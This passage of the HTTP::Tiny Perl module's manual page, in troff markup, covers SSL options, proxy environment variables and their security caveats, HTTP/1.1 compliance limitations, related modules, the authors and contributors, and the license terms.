.PP An error will be occur if \f(CW\*(C`verify_SSL\*(C'\fR is true and no \s-1CA\s0 certificate file is available. .PP If you desire complete control over \s-1SSL\s0 connections, the \f(CW\*(C`SSL_options\*(C'\fR attribute lets you provide a hash reference that will be passed through to \&\f(CW\*(C`IO::Socket::SSL::start_SSL()\*(C'\fR, overriding any options set by HTTP::Tiny. For example, to provide your own trusted \s-1CA\s0 file: .PP .Vb 3 \& SSL_options => { \& SSL_ca_file => $file_path, \& } .Ve .PP The \f(CW\*(C`SSL_options\*(C'\fR attribute could also be used for such things as providing a client certificate for authentication to a server or controlling the choice of cipher used for the \s-1SSL\s0 connection. See IO::Socket::SSL documentation for details. .SH "PROXY SUPPORT" .IX Header "PROXY SUPPORT" HTTP::Tiny can proxy both \f(CW\*(C`http\*(C'\fR and \f(CW\*(C`https\*(C'\fR requests. Only Basic proxy authorization is supported and it must be provided as part of the proxy \s-1URL: \&\s0\f(CW\*(C`http://user:pass@proxy.example.com/\*(C'\fR. .PP HTTP::Tiny supports the following proxy environment variables: .IP "\(bu" 4 http_proxy or \s-1HTTP_PROXY\s0 .IP "\(bu" 4 https_proxy or \s-1HTTPS_PROXY\s0 .IP "\(bu" 4 all_proxy or \s-1ALL_PROXY\s0 .PP If the \f(CW\*(C`REQUEST_METHOD\*(C'\fR environment variable is set, then this might be a \s-1CGI\s0 process and \f(CW\*(C`HTTP_PROXY\*(C'\fR would be set from the \f(CW\*(C`Proxy:\*(C'\fR header, which is a security risk. If \f(CW\*(C`REQUEST_METHOD\*(C'\fR is set, \f(CW\*(C`HTTP_PROXY\*(C'\fR (the upper case variant only) is ignored, but \f(CW\*(C`CGI_HTTP_PROXY\*(C'\fR is considered instead. .PP Tunnelling \f(CW\*(C`https\*(C'\fR over an \f(CW\*(C`http\*(C'\fR proxy using the \s-1CONNECT\s0 method is supported. If your proxy uses \f(CW\*(C`https\*(C'\fR itself, you can not tunnel \f(CW\*(C`https\*(C'\fR over it. .PP Be warned that proxying an \f(CW\*(C`https\*(C'\fR connection opens you to the risk of a man-in-the-middle attack by the proxy server. .PP The \f(CW\*(C`no_proxy\*(C'\fR environment variable is supported in the format of a comma-separated list of domain extensions proxy should not be used for. .PP Proxy arguments passed to \f(CW\*(C`new\*(C'\fR will override their corresponding environment variables. .SH "LIMITATIONS" .IX Header "LIMITATIONS" HTTP::Tiny is \fIconditionally compliant\fR with the \&\s-1HTTP/1.1\s0 specifications <http://www.w3.org/Protocols/>: .IP "\(bu" 4 \&\*(L"Message Syntax and Routing\*(R" [\s-1RFC7230\s0] .IP "\(bu" 4 \&\*(L"Semantics and Content\*(R" [\s-1RFC7231\s0] .IP "\(bu" 4 \&\*(L"Conditional Requests\*(R" [\s-1RFC7232\s0] .IP "\(bu" 4 \&\*(L"Range Requests\*(R" [\s-1RFC7233\s0] .IP "\(bu" 4 \&\*(L"Caching\*(R" [\s-1RFC7234\s0] .IP "\(bu" 4 \&\*(L"Authentication\*(R" [\s-1RFC7235\s0] .PP It attempts to meet all \*(L"\s-1MUST\*(R"\s0 requirements of the specification, but does not implement all \*(L"\s-1SHOULD\*(R"\s0 requirements. (Note: it was developed against the earlier \s-1RFC 2616\s0 specification and may not yet meet the revised \s-1RFC 7230\-7235\s0 spec.) Additionally, HTTP::Tiny supports the \f(CW\*(C`PATCH\*(C'\fR method of \s-1RFC 5789.\s0 .PP Some particular limitations of note include: .IP "\(bu" 4 HTTP::Tiny focuses on correct transport. Users are responsible for ensuring that user-defined headers and content are compliant with the \s-1HTTP/1.1\s0 specification. .IP "\(bu" 4 Users must ensure that URLs are properly escaped for unsafe characters and that international domain names are properly encoded to \s-1ASCII.\s0 See URI::Escape, URI::_punycode and Net::IDN::Encode. .IP "\(bu" 4 Redirection is very strict against the specification. Redirection is only automatic for response codes 301, 302, 307 and 308 if the request method is \&'\s-1GET\s0' or '\s-1HEAD\s0'. Response code 303 is always converted into a '\s-1GET\s0' redirection, as mandated by the specification. There is no automatic support for status 305 (\*(L"Use proxy\*(R") redirections. .IP "\(bu" 4 There is no provision for delaying a request body using an \f(CW\*(C`Expect\*(C'\fR header. Unexpected \f(CW\*(C`1XX\*(C'\fR responses are silently ignored as per the specification. .IP "\(bu" 4 Only 'chunked' \f(CW\*(C`Transfer\-Encoding\*(C'\fR is supported. .IP "\(bu" 4 There is no support for a Request-URI of '*' for the '\s-1OPTIONS\s0' request. .IP "\(bu" 4 Headers mentioned in the RFCs and some other, well-known headers are generated with their canonical case. Other headers are sent in the case provided by the user. Except for control headers (which are sent first), headers are sent in arbitrary order. .PP Despite the limitations listed above, HTTP::Tiny is considered feature-complete. New feature requests should be directed to HTTP::Tiny::UA. .SH "SEE ALSO" .IX Header "SEE ALSO" .IP "\(bu" 4 HTTP::Tiny::UA \- Higher level \s-1UA\s0 features for HTTP::Tiny .IP "\(bu" 4 HTTP::Thin \- HTTP::Tiny wrapper with HTTP::Request/HTTP::Response compatibility .IP "\(bu" 4 HTTP::Tiny::Mech \- Wrap WWW::Mechanize instance in HTTP::Tiny compatible interface .IP "\(bu" 4 IO::Socket::IP \- Required for IPv6 support .IP "\(bu" 4 IO::Socket::SSL \- Required for \s-1SSL\s0 support .IP "\(bu" 4 LWP::UserAgent \- If HTTP::Tiny isn't enough for you, this is the \*(L"standard\*(R" way to do things .IP "\(bu" 4 Mozilla::CA \- Required if you want to validate \s-1SSL\s0 certificates .IP "\(bu" 4 Net::SSLeay \- Required for \s-1SSL\s0 support .SH "SUPPORT" .IX Header "SUPPORT" .SS "Bugs / Feature Requests" .IX Subsection "Bugs / Feature Requests" Please report any bugs or feature requests through the issue tracker at <https://github.com/chansen/p5\-http\-tiny/issues>. You will be notified automatically of any progress on your issue. .SS "Source Code" .IX Subsection "Source Code" This is open source software. The code repository is available for public review and contribution under the terms of the license. .PP <https://github.com/chansen/p5\-http\-tiny> .PP .Vb 1 \& git clone https://github.com/chansen/p5\-http\-tiny.git .Ve .SH "AUTHORS" .IX Header "AUTHORS" .IP "\(bu" 4 Christian Hansen <chansen@cpan.org> .IP "\(bu" 4 David Golden <dagolden@cpan.org> .SH "CONTRIBUTORS" .IX Header "CONTRIBUTORS" .IP "\(bu" 4 Alan Gardner <gardner@pythian.com> .IP "\(bu" 4 Alessandro Ghedini <al3xbio@gmail.com> .IP "\(bu" 4 A. Sinan Unur <nanis@cpan.org> .IP "\(bu" 4 Brad Gilbert <bgills@cpan.org> .IP "\(bu" 4 brian m. carlson <sandals@crustytoothpaste.net> .IP "\(bu" 4 Chris Nehren <apeiron@cpan.org> .IP "\(bu" 4 Chris Weyl <cweyl@alumni.drew.edu> .IP "\(bu" 4 Claes Jakobsson <claes@surfar.nu> .IP "\(bu" 4 Clinton Gormley <clint@traveljury.com> .IP "\(bu" 4 Craig A. Berry <craigberry@mac.com> .IP "\(bu" 4 Craig Berry <cberry@cpan.org> .IP "\(bu" 4 David Golden <xdg@xdg.me> .IP "\(bu" 4 David Mitchell <davem@iabyn.com> .IP "\(bu" 4 Dean Pearce <pearce@pythian.com> .IP "\(bu" 4 Edward Zborowski <ed@rubensteintech.com> .IP "\(bu" 4 Felipe Gasper <felipe@felipegasper.com> .IP "\(bu" 4 Greg Kennedy <kennedy.greg@gmail.com> .IP "\(bu" 4 James E Keenan <jkeenan@cpan.org> .IP "\(bu" 4 James Raspass <jraspass@gmail.com> .IP "\(bu" 4 Jeremy Mates <jmates@cpan.org> .IP "\(bu" 4 Jess Robinson <castaway@desert\-island.me.uk> .IP "\(bu" 4 Karen Etheridge <ether@cpan.org> .IP "\(bu" 4 Lukas Eklund <leklund@gmail.com> .IP "\(bu" 4 Martin J. Evans <mjegh@ntlworld.com> .IP "\(bu" 4 Martin-Louis Bright <mlbright@gmail.com> .IP "\(bu" 4 Matthew Horsfall <wolfsage@gmail.com> .IP "\(bu" 4 Michael R. Davis <mrdvt92@users.noreply.github.com> .IP "\(bu" 4 Mike Doherty <doherty@cpan.org> .IP "\(bu" 4 Nicolas Rochelemagne <rochelemagne@cpanel.net> .IP "\(bu" 4 Olaf Alders <olaf@wundersolutions.com> .IP "\(bu" 4 Olivier Mengue\*' <dolmen@cpan.org> .IP "\(bu" 4 Petr Pi\*'saX <ppisar@redhat.com> .IP "\(bu" 4 sanjay-cpu <snjkmr32@gmail.com> .IP "\(bu" 4 Serguei Trouchelle <stro@cpan.org> .IP "\(bu" 4 Shoichi Kaji <skaji@cpan.org> .IP "\(bu" 4 SkyMarshal <skymarshal1729@gmail.com> .IP "\(bu" 4 So\*:ren Kornetzki <soeren.kornetzki@delti.com> .IP "\(bu" 4 Steve Grazzini <steve.grazzini@grantstreet.com> .IP "\(bu" 4 Syohei \s-1YOSHIDA\s0 <syohex@gmail.com> .IP "\(bu" 4 Tatsuhiko Miyagawa <miyagawa@bulknews.net> .IP "\(bu" 4 Tom Hukins <tom@eborcom.com> .IP "\(bu" 4 Tony Cook <tony@develop\-help.com> .IP "\(bu" 4 Xavier Guimard <yadd@debian.org> .SH "COPYRIGHT AND LICENSE" .IX Header "COPYRIGHT AND LICENSE" This software is copyright (c) 2021 by Christian Hansen. .PP This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself.
Close